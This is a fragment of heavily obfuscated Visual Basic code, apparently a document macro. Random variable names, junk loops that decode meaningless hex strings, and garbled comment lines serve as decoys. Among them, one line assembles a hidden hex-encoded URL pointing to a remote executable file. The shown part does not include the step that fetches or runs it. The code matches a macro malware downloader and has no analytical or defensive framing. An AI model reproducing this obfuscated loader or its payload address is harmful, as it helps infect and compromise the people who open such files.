- Dim yWJnIYDD, kaEEpmHV, EuhYSiMi As String
- yWJnIYDD = HexToString("2020202020202020202020414F5043544B202020202020202020202020202020")
- kaEEpmHV = LTrim(yWJnIYDD)
- EuhYSiMi = RTrim(kaEEpmHV)
- uuHSsxxm = HexToString("20202020202020202020204C5357554858202020202020202020202020202020")
- Dim QUyMiVxs As Integer
- For QUyMiVxs = 0 To 1
- Dim aLIdKlcs, CMKvdcWf, KMzPUZlg As String
- aLIdKlcs = HexToString("202020202020202020202055514C514645202020202020202020202020202020")
- CMKvdcWf = LTrim(aLIdKlcs)
- KMzPUZlg = RTrim(CMKvdcWf)
- DoEvents
- Next QUyMiVxs
- Dim iNbxtnhq, ajhiWURF, YsVZozxY As String
- iNbxtnhq = HexToString("20202020202020202020204C4A45535642202020202020202020202020202020")
- ajhiWURF = LTrim(iNbxtnhq)
- YsVZozxY = RTrim(ajhiWURF)
- wCXhjoIe = LTrim(uuHSsxxm)
- Dim zEcwNsqo As Integer
- For zEcwNsqo = 0 To 1
- Dim bocZPlQn, DBZyGrCo, hpJNvAYZ As String
- bocZPlQn = HexToString("20202020202020202020205A44515A5A4C202020202020202020202020202020")
- DBZyGrCo = LTrim(bocZPlQn)
- hpJNvAYZ = RTrim(DBZyGrCo)
- DoEvents
- Next zEcwNsqo
- Dim qkGlxQGi, xcAxVvLl, OEfbndXZ As String
- qkGlxQGi = HexToString("2020202020202020202020505444414644202020202020202020202020202020")
- xcAxVvLl = LTrim(qkGlxQGi)
- OEfbndXZ = RTrim(xcAxVvLl)
- VippNTkx = RTrim(wCXhjoIe)
- Dim mcaatrsw As Integer
- For mcaatrsw = 0 To 4
- Dim HFTLNdfM, QGGtmkQW, UHNjGwoC As String
- HFTLNdfM = HexToString("202020202020202020202041494B414B4E202020202020202020202020202020")
- QGGtmkQW = LTrim(HFTLNdfM)
- UHNjGwoC = RTrim(QGGtmkQW)
- DoEvents
- Next mcaatrsw
- Dim lMDhMwfK, sqRaQZZw, JyswVCmf As String
- lMDhMwfK = HexToString("2020202020202020202020564650494B58202020202020202020202020202020")
- sqRaQZZw = LTrim(lMDhMwfK)
- JyswVCmf = RTrim(sqRaQZZw)
- Set VITXOMHNZWX = Nothing
- Dim vSNlcThq, PKSxBllw, XBvbAuxY As String
- Dim LRNraeNe As Integer
- For LRNraeNe = 0 To 2
- Dim SCCrccHA, aDeIZpzp, EVjZsYQR As String
- SCCrccHA = HexToString("20202020202020202020204F5556485858202020202020202020202020202020")
- aDeIZpzp = LTrim(SCCrccHA)
- EVjZsYQR = RTrim(aDeIZpzp)
- DoEvents
- Next LRNraeNe
- Dim KspAAlRo, rkXReyUl, ezvjaifK As String
- KspAAlRo = HexToString("20202020202020202020204D4A4C435A51202020202020202020202020202020")
- rkXReyUl = LTrim(KspAAlRo)
- ezvjaifK = RTrim(rkXReyUl)
- vSNlcThq = HexToString("20202020202020202020204A474C414750202020202020202020202020202020")
- Dim fCgXfBgC As Integer
- For fCgXfBgC = 0 To 9
- Dim XMlDkFYY, KWEBSKrU, DXDquCAI As String
- XMlDkFYY = HexToString("2020202020202020202020525153564146202020202020202020202020202020")
- KWEBSKrU = LTrim(XMlDkFYY)
- DXDquCAI = RTrim(KWEBSKrU)
- DoEvents
- Next fCgXfBgC
- Dim vehyPPIw, klyJAJCB, CgFsFsGH As String
- vehyPPIw = HexToString("2020202020202020202020414B56454652202020202020202020202020202020")
- klyJAJCB = LTrim(vehyPPIw)
- CgFsFsGH = RTrim(klyJAJCB)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- PKSxBllw = LTrim(vSNlcThq)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim seXgvnjN As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For seXgvnjN = 0 To 5
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim GdyMPsgu, lvlDlOVn, Yfbkbwpo As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- GdyMPsgu = HexToString("20202020202020202020204B4E554C4A4F202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- lvlDlOVn = LTrim(GdyMPsgu)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Yfbkbwpo = RTrim(lvlDlOVn)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next seXgvnjN
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim eRUukRvj, hPlpLkAn, AHtdmyTQ As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- eRUukRvj = HexToString("202020202020202020202055514F575150202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- hPlpLkAn = LTrim(eRUukRvj)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- AHtdmyTQ = RTrim(hPlpLkAn)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- XBvbAuxY = RTrim(PKSxBllw)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim cUldPZax As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For cUldPZax = 0 To 5
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim dEVPKQWM, oEiXdGlW, rRkoYMHC As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- dEVPKQWM = HexToString("2020202020202020202020444541434653202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- oEiXdGlW = LTrim(dEVPKQWM)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- rRkoYMHC = RTrim(oEiXdGlW)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next cUldPZax
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim YGyyHEaJ, btCJYPjm, raRdLyis As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- YGyyHEaJ = HexToString("202020202020202020202054514C52484E202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- btCJYPjm = LTrim(YGyyHEaJ)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- raRdLyis = RTrim(btCJYPjm)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- End Function
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Sub IGUCOBOAWDI()
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim UrlENewP, ZtEGmiLQ, vyDaGsjS As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim yJdgYItr As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For yJdgYItr = 0 To 2
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim cyZesefl, NjHCWnCD, guXnNsow As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- cyZesefl = HexToString("20202020202020202020204F584B435454202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- NjHCWnCD = LTrim(cyZesefl)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- guXnNsow = RTrim(NjHCWnCD)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next yJdgYItr
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim HChwpctf, zezvQsiv, foFAdBqO As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- HChwpctf = HexToString("20202020202020202020204C50584D4C46202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- zezvQsiv = LTrim(HChwpctf)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- foFAdBqO = RTrim(zezvQsiv)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- UrlENewP = HexToString("20202020202020202020204348534C4B57202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim KcXYlaXS As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For KcXYlaXS = 0 To 5
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim HNUztUZs, SaKfbQNf, UzzbMHcg As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- HNUztUZs = HexToString("20202020202020202020205A464C594D50202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- SaKfbQNf = LTrim(HNUztUZs)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- UzzbMHcg = RTrim(SaKfbQNf)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next KcXYlaXS
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim YYZAVwBB, bCldGZfZ, tKaUzVtm As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- YYZAVwBB = HexToString("2020202020202020202020545552464D58202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- bCldGZfZ = LTrim(YYZAVwBB)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- tKaUzVtm = RTrim(bCldGZfZ)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- ZtEGmiLQ = LTrim(UrlENewP)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim kcvhlCUu As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For kcvhlCUu = 0 To 4
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim nxToAOqT, GdPSUmxf, kvBYjKyI As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- nxToAOqT = HexToString("2020202020202020202020454D474B565A202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- GdPSUmxf = LTrim(nxToAOqT)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- kvBYjKyI = RTrim(GdPSUmxf)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next kcvhlCUu
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim DoKwPLcW, BhRvdYny, qwjAFmRj As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoKwPLcW = HexToString("20202020202020202020204241475A574A202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- BhRvdYny = LTrim(DoKwPLcW)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- qwjAFmRj = RTrim(BhRvdYny)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- vyDaGsjS = RTrim(ZtEGmiLQ)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim QJKSwSkF As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For QJKSwSkF = 0 To 7
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim HJgxIlDa, SJvIecpz, UKIMxAUe As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- HJgxIlDa = HexToString("20202020202020202020205A4F4F484F45202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- SJvIecpz = LTrim(HJgxIlDa)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- UKIMxAUe = RTrim(SJvIecpz)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next QJKSwSkF
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim qxePLNXI, eSLwPuqs, IIAHCAzr As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- qxePLNXI = HexToString("20202020202020202020204D5A4B4C4B51202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- eSLwPuqs = LTrim(qxePLNXI)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- IIAHCAzr = RTrim(eSLwPuqs)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- dygigGUIIU = HexToString(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(54) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(53) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(70) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(53) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(51) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(69) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim CYdKgqMW, ZAMdAYQS, mKQVlDah As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim CwhPUFzq As Integer
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- For CwhPUFzq = 0 To 9
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim UeswXEHw, XLjBahzr, vrTLPSQc As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- UeswXEHw = HexToString("2020202020202020202020555059424942202020202020202020202020202020")
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- XLjBahzr = LTrim(UeswXEHw)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- vrTLPSQc = RTrim(XLjBahzr)
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- DoEvents
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Next CwhPUFzq
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- Dim eVWTTqPK, grUIiBDe, fFqmyalA As String
- 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
- eVWTTqPK = HexToString("20202020202020202020204E5051425255202020202020202020202020202020")
